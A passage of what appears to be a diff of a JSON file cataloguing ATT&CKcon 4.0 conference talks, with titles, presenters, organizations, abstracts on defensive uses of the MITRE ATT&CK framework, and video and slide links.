After providing a brief introduction to EDR telemetry, we’ll discuss how to break ATT&CK techniques down to individual data components, perform functional tests, analyze the ways that specific actions translate to telemetry records, and compare this analysis across different EDR sensors. We’ll discuss the tooling we’ve built to assist us in running these tests and analyzing the resulting telemetry, and we’ll explain how security teams can improve their own functional testing efforts by creating an automated validation workflow. Finally, we’ll describe how this approach has enabled us to more effectively understand and use EDR telemetry, highlighting where this telemetry excels and fails at detecting ATT&CK techniques.", - "video": "https://www.youtube.com/watch?v=eBzzkSkd7yU&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=6", - "slides": "https://www.slideshare.net/MITREATTACK/tidying-up-your-nest-validating-attck-technique-coverage-using-edr-telemetry" - }, - { - "title": "MITRE ATT&CK Updates: ICS", - "presenters": [ - { - "names": ["Jake Steele"], - "organization": "MITRE ATT&CK" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=lTZo74mF50g&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=8", - "slides": "https://www.slideshare.net/MITREATTACK/mitre-attck-updates-ics" - }, - { - "title": "Exploring the Labyrinth: Deep dive into the Lazarus Group's foray into macOS", - "presenters": [ - { - "names": ["Marina Liang"], - "organization": "Independent Researcher" - } - ], - "description": "LABYRINTH CHOLLIMA is a prolific Democratic People's Republic of Korea (DPRK) nexus adversary focused on cyber espionage. They have been recently observed targeting FinTech (financial technology) companies in cryptocurrency revenue generation efforts. LABYRINTH CHOLLIMA has been associated with many high profile attacks, including the Sony Pictures Entertainment (SPE) breach, the WannaCry 2.0 global surge, and most recently, the 3CX supply chain compromise. Increasingly versed in cross-platform intrusions, LABYRINTH CHOLLIMA has been observed targeting macOS operating systems, and evolving their tactics, techniques, and tooling to keep in lockstep with the evolving security landscape.

This talk will deep dive into the interactive macOS intrusions Crowdstrike has attributed to LABYRINTH CHOLLIMA. We will delve into the adversary's macOS tradecraft, techniques to circumvent existing OS protections, and social engineering tactics, while showcasing how their mechanisms and tooling map to the MITRE ATT&CK kill chain, featuring some newly proposed MITRE techniques related to the Transparency, Consent, and Control (TCC) database.", - "video": "https://www.youtube.com/watch?v=0bt56JzZp4s&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=9", - "slides": "https://www.slideshare.net/MITREATTACK/exploring-the-labyrinth-deep-dive-into-the-lazarus-groups-foray-into-macos" - }, - { - "title": ".LNK Tears of the Kingdom", - "presenters": [ - { - "names": ["Andrew Northern"], - "organization": "Proofpoint" - }, - { - "names": ["Michael August Raggi"], - "organization": "Google" - } - ], - "description": "Join us for an enthralling exploration of Defense Evasion (TA0005) within the captivating realm of Hyrule. Prepare to immerse yourself in the intriguing history of shortcut (.lnk) abuse and its associated procedures, as we unveil and demonstrate an innovative and previously undisclosed sub-technique (proposed) of T1027 (Obfuscated Files or Information).

During this talk, we will go beyond theory and share real-world insights. Discover firsthand how publicly attributed APT actors have leveraged this new sub-technique in their attacks against government entities. Through captivating stories and in-depth observations, we will shed light on the techniques and procedures employed by these adversaries.

Levity and entertainment will be courtesy of timely and relevant bespoke Legend of Zelda memes playing upon the concept of the \"\"master hand ability\"\" gluing together bizarre elements to create surprisingly effective weapons, a concept that runs parallel to the discussion of abusing known Windows file types in unconventional ways.

Join us as we embark on this fascinating journey filled with knowledge, entertainment, and a touch of Legend of Zelda magic!", - "video": "https://www.youtube.com/watch?v=u_XN7lZHtL4&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=10", - "slides": "https://www.slideshare.net/MITREATTACK/lnk-tears-of-the-kingdom" - }, - { - "title": "One Leg to Stand on: Adventures in Adversary Tracking with ATT&CK", - "presenters": [ - { - "names": ["Nicole Hoffman", "James Nutland"], - "organization": "Cisco" - } - ], - "description": "How many times have you added MITRE ATT&CK techniques to the end of a report and thought you could be doing more? Even though ATT&CK has become an industry standard for cyber threat intelligence reporting, all too often, techniques are thrown at the bottoms of reports and blogs without any context never to be seen again after dissemination. This is not useful for intelligence producers or consumers. Avast ye maties! Within this presentation, we are going to show analysts how they can use ATT&CK as a guideline for creating a contextual knowledge base for adversary tracking. Gone are the days of floundering about looking for information collected about a specific adversary or behavior. Gone are the days of wondering why the rum and context are always gone. Ahoy, me hearties! Hoist up the sails and prepare your sea legs for some swashbuckling adversary tales from the high seas where we will focus on the fickle commodity loader, Qakbot.", - "video": "https://www.youtube.com/watch?v=4JnFj-xdLEw&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=11", - "slides": "https://www.slideshare.net/MITREATTACK/one-leg-to-stand-on-adventures-in-adversary-tracking-with-attck" - }, - { - "title": "MITRE ATT&CK Updates: Software", - "presenters": [ - { - "names": ["Jared Ondricek"], - "organization": "MITRE ATT&CK" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=5cl3rnrt5nA&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=12", - "slides": "https://www.slideshare.net/MITREATTACK/mitre-attck-updates-software" - }, - { - "title": "The Art of Communicating ATT&CK to the CFO", - "presenters": [ - { - "names": ["Phil Davies"], - "organization": "Distilled Security" - } - ], - "description": "You have had a pen test, a red team or a threat intelligence report and drawn up a plan for remediation. You have been told you have 15 mins in front of the CFO in 48 hours! How do you show ,on one page, the connection between the techniques you are exposed and vulnerable to, the path of least resistance and the focused control changes required right now?

How will the CFO get the picture so the result is \"I get it, what do you need?\"

Understanding ATT&CK as a practitioner is great with the current matrix but it is inaccessible to the CFO. But it doesn't have to be that way.

Phil will chart the journey to improved visualization of ATT&CK techniques. He will show how the DNA of ATT&CK doesn’t just make ATT&CK accessible for all but that it can be beautiful!", - "video": "https://www.youtube.com/watch?v=FJ8FdgEgYXw&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=13", - "slides": "https://www.slideshare.net/slideshow/the-art-of-communicating-attck-to-the-cfo/262859524" - }, - { - "title": "Navigating the Attention Economy – Using MITRE ATT&CK to Communicate to Stakeholders at all Levels", - "presenters": [ - { - "names": ["Alexandrea Berninger"], - "organization": "Accenture" - } - ], - "description": "We live in a world where attention is scarce. And yet we need to communicate complex information effectively to a variety of audiences. This talk will discuss how to cut through the noise of information overload by using MITRE ATT&CK to reach your audience. It will use lessons I have learned from videography, combined with Cyber Threat Intelligence (CTI) to weave a story around how to think about communicating to your audience when gaining their focus is becoming increasingly difficult. Using current research into focus and attention spans, combined with trends in how people like to obtain information, this talk will recommend paths to building compelling stories with MITRE ATT&CK so that stakeholders can immediately gain value from threat intelligence reports without having to read a full long-form report.", - "video": "https://www.youtube.com/watch?v=IrZfxkfOUd0&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=14", - "slides": "https://www.slideshare.net/MITREATTACK/navigating-the-attention-economy-using-mitre-attck-to-communicate-to-stakeholders-at-all-levels" - }, - { - "title": "CISA usage of ATT&CK in Cybersecurity Advisories", - "presenters": [ - { - "names": ["James Stanley"], - "organization": "CISA" - } - ], - "description": "CISA's Adoption of the MITRE ATT&CK Framework

Over the past several years, CISA has worked to incorporate ATT&CK whenever applicable into our Cybersecurity Advisories and other cyber guidance. It has become the universal language for discussing how the adversary operates, and we leverage it for our stakeholders to respond to urgent events in real time, as well as detailed reports on subjects like our Red Team activities to give network defenders proactive guidance on how to harden their networks.", - "video": "https://www.youtube.com/watch?v=F581j2kSN7o&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=15", - "slides": "https://www.slideshare.net/MITREATTACK/cisa-usage-of-attck-in-cybersecurity-advisories" - }, - { - "title": "10th Anniversary Panel", - "presenters": [ - { - "names": ["Brad Crawford"], - "organization": "Phylum" - }, - { - "names": ["Katie Nickels"], - "organization": "Red Canary" - }, - { - "names": ["Jen Miller-Osborn"], - "organization": "Cyberthreat Intelligence" - }, - { - "names": ["Blake Strom"], - "organization": "Microsoft" - }, - { - "names": ["Eric Sheesley"], - "organization": "Sony Group Corporation" - } - ], - "description": "Celebrating 10 years of ATT&CK", - "video": "https://www.youtube.com/watch?v=oGObE5BkdSE&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=17" - }, - { - "title": "Evaluating and Enhancing Security Maturity through MITRE ATT&CK Mapping", - "presenters": [ - { - "names": ["Pranusha Somareddy"], - "organization": "Lark Health" - } - ], - "description": "By aligning security controls with specific adversary techniques and tactics, organizations can gain a comprehensive understanding of their defensive capabilities. This mapping exercise serves as a vital step in identifying potential gaps and weaknesses within the security architecture. The evaluation of security maturity using the MITRE ATT&CK framework provides valuable insights into the effectiveness of existing controls, shedding light on areas that require improvement or further attention.

In this presentation, we will delve into practical strategies and real-world examples that showcase how organizations can successfully leverage the MITRE ATT&CK framework to enhance their security maturity. We will also explore key topics such as:\n\t(i)Customizing security training and awareness programs based on roles and responsibilities\n\t(ii)Conducting thorough assessments of incident response capabilities through the framework\n\t(iii)Integrating threat intelligence derived from ATT&CK to continuously improve the security posture", - "video": "https://www.youtube.com/watch?v=wc07D7FTgI4&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=18", - "slides": "https://www.slideshare.net/MITREATTACK/evaluating-and-enhancing-security-maturity-through-mitre-attck-mapping" - }, - { - "title": "Using ATT&CK to Create Wicked Actors in Real Data", - "presenters": [ - { - "names": ["Simeon Kakpovi", "Greg Schloemer"], - "organization": "KC7 Foundation" - } - ], - "description": "KC7 uses an experiential learning pedagogy to teach cybersecurity analysis to students of all levels, from elementary school all the way to industry professionals. In the KC7 experience, students analyze realistic cybersecurity data and answer a series of CTF-style questions that guide them through an investigative journey.

In order to generate authentic intrusion data, we create a fictional company that is attacked by cyber threat actors. The attributes and behaviors of these actors are defined via yaml configurations that are modeled based on MITRE ATT&CK categories and techniques. For example, we can granularly define what techniques an attacker uses for initial access or lateral movement, and how the actor explicitly uses those techniques.

Students that effectively analyze KC7 intrusion data can map the observed activity to the various stages of the MITRE ATT&CK framework. Organizing actor definitions around the ATT&CK framework allows KC7 to create a rich set of intrusion data in various permutations - and ensure that students are exposed to a diverse array of scenarios. A pleasant byproduct of this methodology is that students of MITRE ATT&CK can now study techniques contextually in data rather than just reading about them in reports.", - "video": "https://www.youtube.com/watch?v=I2shZqo_k2Y&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=19", - "slides": "https://www.slideshare.net/slideshow/using-attck-to-created-wicked-actors-in-real-data/262859770" - }, - { - "title": "MITRE ATT&CK Updates: New Ideas in Enterprise - Pushing the boundaries of ATT&CK's long-established scope", - "presenters": [ - { - "names": ["Patrick Howell O'Neill"], - "organization": "MITRE ATT&CK" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=rY81pNC_wHc&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=20", - "slides": "https://www.slideshare.net/MITREATTACK/mitre-attck-updates-new-ideas-in-enterprise-pushing-the-boundaries-of-attcks-longestablished-scope" - }, - { - "title": "ATT&CK is the Best Defense - Emulating Sophisticated Adversary Malware to Bolster Defenses", - "presenters": [ - { - "names": ["Sajal Thomas", "Vishnu Raju"], - "organization": "Crowdstrike" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=PvnZNnCmNx4&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=22", - "slides": "https://www.slideshare.net/MITREATTACK/attck-is-the-best-defense-emulating-sophisticated-adversary-malware-to-bolster-defenses" - }, - { - "title": "Detection as Code, Automation, and Testing: The Key to Unlocking the Power of Detection Engineering", - "presenters": [ - { - "names": ["Olaf Harton"], - "organization": "FalconForce" - } - ], - "description": "Modern security teams have been engineering solid detections for a while now. All this great output also needs to be managed well.\n* How can we make sure that the detections we have spent a lot of time developing are deployed and are running in production in the same way as they were designed?\n* How can we assure our detection and prevention controls are still working and are detecting the attacks they have been designed to cover?

We will show how we have built a robust and flexible development and deployment process using cloud technnologies. This process allows us to quickly and easily implement new detection controls, test them across multiple environments, and deploy them in a controlled and consistent manner.

We will discuss how security teams can reap the benefits of using detection-as-code, and how this can help achieving a single source of truth for their detection logic. Adopting this approach enables teams to use automation and unit testing to manage and validate their detection controls across multiple environments and ensure proper documentation. By adopting a detection-as-code approach, teams can gain the confidence that comes from knowing that their detections and mitigations work as intended.", - "video": "https://www.youtube.com/watch?v=dF4iAF4MiXw&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=23", - "slides": "https://www.slideshare.net/MITREATTACK/detection-as-code-automation-and-testing-the-key-to-unlocking-the-power-of-detection-engineering" - }, - { - "title": "MITRE ATT&CK Updates: State of the Cloud", - "presenters": [ - { - "names": ["Casey Knerr"], - "organization": "MITRE ATT&CK" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=m2HZgOYxcic&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=26", - "slides": "https://www.slideshare.net/MITREATTACK/mitre-attck-updates-state-of-the-cloud" - }, - { - "title": "Driving Intelligence with MITRE ATT&CK: Leveraging Limited Resources to Build an Evolving Threat Repository", - "presenters": [ - { - "names": ["Scott Roberts"], - "organization": "Interpres Security" - } - ], - "description": "Building threat intelligence is challenging, even under the most ideal circumstances. But what if you are even more limited in your resources? You are part of a small (but skilled) team, with high expectations, and people are relying on you to make business-critical decisions…all the time! What do you do in that situation? Turn a Toyota Tercel into a tank, of course.\nThe Interpres Security threat intelligence team found itself in that exact situation. Wanting to leverage the MITRE ATT&CK catalog in creating a comprehensive and timely threat intelligence repository, the Interpres team built a series of tools, processes, and paradigms that we call Intelligence Engineering. In this talk, we’ll examine how we combined ATT&CK, STIX2, the Vertex Project’s open-source intelligence platform, Synapse, and custom code to deliver meaningful, rapid, verifiable intelligence to our customers. We’ll share lessons learned on automation, how to run multiple ATT&CK libraries side-by-side, and making programmatic intelligence delivery scalable and effective – just like building a tank out of an imported sedan.", - "video": "https://www.youtube.com/watch?v=84IEmaiigLQ&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=25", - "slides": "https://www.slideshare.net/MITREATTACK/driving-intelligence-with-mitre-attck-leveraging-limited-resources-to-build-an-evolving-threat-repository" - }, - { - "title": "Cloud Native Workload ATT&CK Matrix", - "presenters": [ - { - "names": ["Matthew Mills", "Nathaniel Beckstead", "Ryan Simon"], - "organization": "Datadog" - } - ], - "description": "Cloud native computing has fundamentally changed traditional security methodologies and attack surfaces. This new architectural approach combines new operational tools and services like continuous integration, container engines, and orchestrators. Some organizations struggle to identify and respond to threats they specifically face when running cloud native workloads.

Perimeter-centric security evangelizes defense-in-depth or the onion model to implement different layers of defense. Cloud native security hyper-focuses on four unique layers: Cloud, Clusters, Containers, and Code.

Today's defenders have to look across several existing ATT&CK matrices including Linux Enterprise, Containers, Kubernetes, and IaaS to holistically evaluate and model threats or attack paths across the four distinct layers of cloud native workloads.

In conclusion, we will discuss some of the challenges facing threat modeling cloud native workloads, including showing how to leverage several different ATT&CK matrices to create a distinct Cloud Native Workload ATT&CK matrix. The creation of this matrix will help defenders take the guesswork out of identifying what tactics serve as potential threats against a cloud native workload in order to enhance their defensive baseline and detection coverage.", - "video": "https://www.youtube.com/watch?v=Q8GY8TYDklc&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=26", - "slides": "https://www.slideshare.net/MITREATTACK/cloud-native-workload-attck-matrix" - }, - { - "title": "MITRE ATT&CK based Threat Analysis for Electronic Flight Bag", - "presenters": [ - { - "names": ["Ozan Olali"], - "organization": "IBM Security" - } - ], - "description": "The Electronic Flight Bag (EFB) has become an indispensable tool in modern aviation, providing pilots with digital resources and critical flight information. However, the increased reliance on EFB systems running on operating systems, introduces various security challenges. In this session, a technical assessment approach with MITRE ATT&CK framework to perform a comprehensive threat analysis of an EFB solution, will be presented. The potential attack vectors and relation with the risks for business/ flight operations will be demonstrated.", - "video": "https://www.youtube.com/watch?v=b0xwEDA6d98&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=27", - "slides": "https://www.slideshare.net/MITREATTACK/mitre-attck-based-threat-analysis-for-electronic-flight-bag" - }, - { - "title": "I Can Haz Cake: Benefits of Working with MITRE on ATT&CK", - "presenters": [ - { - "names": ["Tim Wadhwa-Brown"], - "organization": "Cisco" - } - ], - "description": "The purpose of this session will be to look at how the linux-malware repo came to take shape and how we've used it to inform our view on adversarial behaviour over the last couple of years. Since the original reason for staring this project was to look at Linux coverage in ATT&CK, we'll play back some of the interesting points and reflect on how they've affected ATT&CK itself.", - "video": "https://www.youtube.com/watch?v=PCw3Wa9GBP4&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=28", - "slides": "https://www.slideshare.net/slideshow/i-can-haz-cake-benefits-of-working-with-mitre-on-attck/262860255" - }, - { - "title": "Updates from the Center for Threat-Informed Defense", - "presenters": [ - { - "names": ["Jon Baker"], - "organization": "MITRE Engenuity Center for Threat-Informed Defense" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=QrwJ1L_m438&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=29", - "slides": "https://www.slideshare.net/MITREATTACK/updates-from-the-center-for-threatinformed-defense" - }, - { - "title": "Lightning Talk: The case for quishing", - "presenters": [ - { - "names": ["Brian Donohue"], - "organization": "Red Canary" - } - ], - "description": "Despite an absurd (or maybe disgusting) name, quishing is emerging as an undeniable risk to organizations. Sure, it's offered adversaries an avenue for initial access for many years, and, yes, public reporting on such incidents has been somewhat underwhelming. However, QR codes are officially ubiquitous, people are extremely comfortable with them, and, in the coming years, quishing is bound to become a powerful and reliable weapon in the arsenal of sophisticated adversaries. In 5 minutes of compelling and persuasive speech, I'll make the case for why Quishing deserves to be a standalone sub-technique of phishing in the enterprise ATT&CK® matrix.", - "video": "https://youtu.be/TsrOYObSMO4?si=oKhghRS2bs91b7-B&t=58", - "slides": "https://www.slideshare.net/MITREATTACK/the-case-for-quishing" - }, - { - "title": "Lightning Talk: Enhancing Breach and Attack Simulation (BAS) Impact with MITRE ATT&CK and LLMs", - "presenters": [ - { - "names": ["Jose Barajas"], - "organization": "AttackIQ" - } - ], - "description": "The evolving complexity and sophistication of cyber threats necessitate a robust and automated approach to threat report analysis and mapping. Leveraging the power of large language models (LLMs) in conjunction with the MITRE ATT&CK framework can dramatically streamline this process. We, at AttackIQ, are developing a process leveraging LLMs to not only extract the ATT&CK tactics and techniques from cyber threat reports, but also parsing the equally crucial information such as the command line snippets, implementation methodology, image-to-text conversions, etc. in order to significantly reduce the amount of time and manpower spent in threat report mapping while enabling the teams to focus on more critical aspects of BAS scenario development.", - "video": "https://youtu.be/TsrOYObSMO4?si=P4swHrpJtfdIEiaL&t=338" - }, - { - "title": "Lightning Talk: Discussion on Finding Relationships in Cyber Data", - "presenters": [ - { - "names": ["Stephen Johnson", "Emma MacMullan"], - "organization": "Capital One" - } - ], - "description": "Capital One is currently building a Security Graph to tie together various Cyber Teams and their data -- Controls, Objectives, Tools, and Countermeasures, Threats. It is an ambitious project that will help us identify gaps and focus our controls on the most likely and persistent threats. It is a work in progress that is using MITRE ATT&CK and D3FEND as a \"lingua franca\" to tie together the elements of the graph, so we have a common understanding across the enterprise.", - "video": "https://youtu.be/TsrOYObSMO4?si=Z-Nn_qQMCaOsuk7m&t=621", - "slides": "https://www.slideshare.net/MITREATTACK/discussion-on-finding-relationships-in-cyber-data" - }, - { - "title": "Lightning Talk: ATT&CK STIX mapping challenges", - "presenters": [ - { - "names": ["Jason Keirstead"], - "organization": "Cyware" - } - ], - "description": "MITRE provides a set of robust STIX objects that implement the entire ATT&CK matrix (it is actually the reference data). However, there is a challenge as there is no official recommended way from MITRE on how someone should REFERENCE these objects inside their own STIX data. As a result, vendors amd threat providers have created many incompatible ways to reference ATT&CK techniques. We will show a few examples of this, talk about how it creates challenges, and suggest a path forward for the community.", - "video": "https://youtu.be/TsrOYObSMO4?si=eXkXK0IsgJw6LSJJ&t=937" - }, - { - "title": "Lightning Talk: Adjectives for ATT&CK", - "presenters": [ - { - "names": ["Benjamin Langrill"], - "organization": "Security Optimizer" - } - ], - "description": "If you tell me an attacker performed OS Credential Dumping, did they dump credentials with meterpreter, recompile mimikatz, or use a custom tool? The technique reference lacks a way to categorize how they performed the action and each type requires its own mitigation. In this talk, Ben Langirll will propose formal adjectives for ATT&CK techniques that map to adversary capabilities and how we can use them to optimize defensive choices.", - "video": "https://youtu.be/TsrOYObSMO4?si=pKsLpSbE4_5WdScA&t=1221", - "slides": "https://www.slideshare.net/MITREATTACK/adjectives-for-attck" - }, - { - "title": "Lightning Talk: Of Lenses and Layers", - "presenters": [ - { - "names": ["Andrew Malone"], - "organization": "JetBlue" - } - ], - "description": "Many use the ATT&CK matrix to map tool coverage across the environment. This blanket coverage is a good baseline but it can miss certain aspects of the enterprise's context like risk levels, organisational priorities, and industry specific threat intelligence. I want to discuss ways to layer these lenses on top of an enterprise mapping to make ATT&CK more relevant to the specific enterprise. If done right this can lead to more actionable metrics and reporting on improvements.", - "video": "https://youtu.be/TsrOYObSMO4?si=pkg565FUFuOh_f7X&t=1507", - "slides": "https://www.slideshare.net/slideshow/or-lenses-and-layers-adding-business-context-to-enterprise-mappings/262859506" - }, - { - "title": "Lightning Talk: ATT&CK’s Adoption in CTI: A Great Success (with Room to Grow!)", - "presenters": [ - { - "names": ["Scott Small"], - "organization": "Tidal Cyber" - } - ], - "description": "This metrics- and meme-based lightning session spotlights the success story that is the CTI industry’s impressive (and expanding) adoption of ATT&CK in their products. Using nearly 6 years’ worth of ATT&CK-mapped, public threat reports collected from government, vendor, & independent sources, we’ll show how the rate (and detail) of mapping has increased considerably, while showcasing (anonymized) examples of high-quality end-products, with the aim of inspiring further ATT&CK adoption in this important corner of the field.", - "video": "https://youtu.be/TsrOYObSMO4?si=iqw3wjOGyPIMtApY&t=1794", - "slides": "https://www.slideshare.net/slideshow/attcks-adoption-in-cti-a-great-success-with-room-to-grow/262860181" - }, - { - "title": "Lightning Talk: Automating testing by implementing ATT&CK using the Blackboard Architecture", - "presenters": [ - { - "names": ["Jeremy Straub"], - "organization": "NDSU Cybersecurity Institute" - } - ], - "description": "This presentation will briefly summarize work that we've done regarding implementing the ATT&CK framework as a rule-fact-action network within a Blackboard Architecture, allowing the ATT&CK framework to enable security testing automation. The presentation will start with a quick summary of the concept behind this and then present a few implementation examples.", - "video": "https://youtu.be/TsrOYObSMO4?si=bEJ6ZvUJQU3J3nwe&t=2114", - "slides": "https://www.slideshare.net/MITREATTACK/automating-testing-by-implementing-attck-using-the-blackboard-architecture" - } + { + "title": "Civil Society, Pegasus, and Predator: What Sophisticated Spyware Means For Us As Defenders", + "presenters": [ + { + "names": [ + "Runa Sandvik" + ], + "organization": "Granitt" + } + ], + "description": "ATT&CKcon 4.0 Keynote", + "video": "https://www.youtube.com/watch?v=U1T0GHMSlWE&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=1", + "slides": "https://www.slideshare.net/MITREATTACK/civil-society-pegasus-and-predator-what-sophisticated-spyware-means-for-us-as-defenders" + }, + { + "title": "MITRE ATT&CK Updates: State of the ATT&CK (ATT&CKcon 4.0 Edition)", + "presenters": [ + { + "names": [ + "Adam Pennington" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "Updates on what's going on with MITRE ATT&CK.", + "video": "https://www.youtube.com/watch?v=AQxBeUK0gis&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=2", + "slides": "https://www.slideshare.net/MITREATTACK/mitre-attck-updates-state-of-the-attck-attckcon-40-edition" + }, + { + "title": "Grow Up! Evaluating and Maturing Your SOC using MITRE ATT&CK", + "presenters": [ + { + "names": [ + "Lauren Brennan" + ], + "organization": "GuidePoint Security" + } + ], + "description": "Evaluating the maturity of your security operations program can be complex and challenging. From choosing the right framework to use, to understanding all aspects of how people, processes, and technologies can cohesively operate to grow your SOC, evaluating your security operations is crucial. This presentation will discuss how to evaluate your security operations program using the MITRE ATT&CK framework and talk about best practices for evaluations. We will explore how to identify gaps in your operations and improve your overall security posture with foundational activities. Attendees can expect to learn practical tips for leveraging the MITRE framework as well as actionable takeaways for evaluating and improving their own security operations.", + "video": "https://www.youtube.com/watch?v=8qvP5uDB2wc&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=4", + "slides": "https://www.slideshare.net/MITREATTACK/grow-up-evaluating-and-maturing-your-soc-using-mitre-attck" + }, + { + "title": "Dealing with ATT&CK's Different Levels of Details", + "presenters": [ + { + "names": [ + "Tareq Alkhatib" + ], + "organization": "Lacework, Inc" + } + ], + "description": "ATT&CK serves as the central language for CTI practitioners, Detection Engineers, Red Teamers, and more. Despite the benefit of having a central language, ATT&CK offers different levels of detail that might be useful for one team but not others. This paper points out some of these differences in the level of details available in ATT&CK, especially from the point of view of Detection Engineers, and focused on detection coverage.

In summary, while ATT&CK does not define the Procedure level of the TTP trinity, it is still useful to define the “Degrees of Freedom” an attacker has within a technique. Some techniques only have a limited number of possible Procedures, some techniques might have more, and others might be so open ended that they offer an unlimited number of possible procedures per technique. We examine this concept on both the Technique and Tactic levels and make the argument that techniques that have a high number of possible Procedures cannot be covered by Detection Engineers.

At the conference, we intend to release an ATT&CK Navigator layer to help Detection Engineers quickly filter out which Tactics and Techniques they need to focus on and which ones they simply cannot cover.", + "video": "https://www.youtube.com/watch?v=kgei3fsqNFw&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=5", + "slides": "https://www.slideshare.net/MITREATTACK/dealing-with-attcks-different-levels-of-detail" + }, + { + "title": "Tidying up your Nest: Validating ATT&CK Technique Coverage using EDR Telemetry", + "presenters": [ + { + "names": [ + "Adam Ostrich", + "Jesse Brown" + ], + "organization": "Red Canary" + } + ], + "description": "Endpoint Detection & Response (EDR) telemetry offers defenders a powerful tool for catching threats. However, understanding how to validate ATT&CK technique coverage using EDR telemetry can be a challenge. As Detection Validation Engineers at a Managed Detection & Response (MDR) provider that ingests nearly a petabyte of endpoint telemetry every day, we’re in the unique and necessary position to analyze this telemetry at scale and validate its efficacy against common adversary tradecraft.

After providing a brief introduction to EDR telemetry, we’ll discuss how to break ATT&CK techniques down to individual data components, perform functional tests, analyze the ways that specific actions translate to telemetry records, and compare this analysis across different EDR sensors. We’ll discuss the tooling we’ve built to assist us in running these tests and analyzing the resulting telemetry, and we’ll explain how security teams can improve their own functional testing efforts by creating an automated validation workflow. Finally, we’ll describe how this approach has enabled us to more effectively understand and use EDR telemetry, highlighting where this telemetry excels and fails at detecting ATT&CK techniques.", + "video": "https://www.youtube.com/watch?v=eBzzkSkd7yU&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=6", + "slides": "https://www.slideshare.net/MITREATTACK/tidying-up-your-nest-validating-attck-technique-coverage-using-edr-telemetry" + }, + { + "title": "MITRE ATT&CK Updates: ICS", + "presenters": [ + { + "names": [ + "Jake Steele" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=lTZo74mF50g&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=8", + "slides": "https://www.slideshare.net/MITREATTACK/mitre-attck-updates-ics" + }, + { + "title": "Exploring the Labyrinth: Deep dive into the Lazarus Group's foray into macOS", + "presenters": [ + { + "names": [ + "Marina Liang" + ], + "organization": "Independent Researcher" + } + ], + "description": "LABYRINTH CHOLLIMA is a prolific Democratic People's Republic of Korea (DPRK) nexus adversary focused on cyber espionage. They have been recently observed targeting FinTech (financial technology) companies in cryptocurrency revenue generation efforts. LABYRINTH CHOLLIMA has been associated with many high profile attacks, including the Sony Pictures Entertainment (SPE) breach, the WannaCry 2.0 global surge, and most recently, the 3CX supply chain compromise. Increasingly versed in cross-platform intrusions, LABYRINTH CHOLLIMA has been observed targeting macOS operating systems, and evolving their tactics, techniques, and tooling to keep in lockstep with the evolving security landscape.

This talk will deep dive into the interactive macOS intrusions Crowdstrike has attributed to LABYRINTH CHOLLIMA. We will delve into the adversary's macOS tradecraft, techniques to circumvent existing OS protections, and social engineering tactics, while showcasing how their mechanisms and tooling map to the MITRE ATT&CK kill chain, featuring some newly proposed MITRE techniques related to the Transparency, Consent, and Control (TCC) database.", + "video": "https://www.youtube.com/watch?v=0bt56JzZp4s&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=9", + "slides": "https://www.slideshare.net/MITREATTACK/exploring-the-labyrinth-deep-dive-into-the-lazarus-groups-foray-into-macos" + }, + { + "title": ".LNK Tears of the Kingdom", + "presenters": [ + { + "names": [ + "Andrew Northern" + ], + "organization": "Proofpoint" + }, + { + "names": [ + "Michael August Raggi" + ], + "organization": "Google" + } + ], + "description": "Join us for an enthralling exploration of Defense Evasion (TA0005) within the captivating realm of Hyrule. Prepare to immerse yourself in the intriguing history of shortcut (.lnk) abuse and its associated procedures, as we unveil and demonstrate an innovative and previously undisclosed sub-technique (proposed) of T1027 (Obfuscated Files or Information).

During this talk, we will go beyond theory and share real-world insights. Discover firsthand how publicly attributed APT actors have leveraged this new sub-technique in their attacks against government entities. Through captivating stories and in-depth observations, we will shed light on the techniques and procedures employed by these adversaries.

Levity and entertainment will be courtesy of timely and relevant bespoke Legend of Zelda memes playing upon the concept of the \"\"master hand ability\"\" gluing together bizarre elements to create surprisingly effective weapons, a concept that runs parallel to the discussion of abusing known Windows file types in unconventional ways.

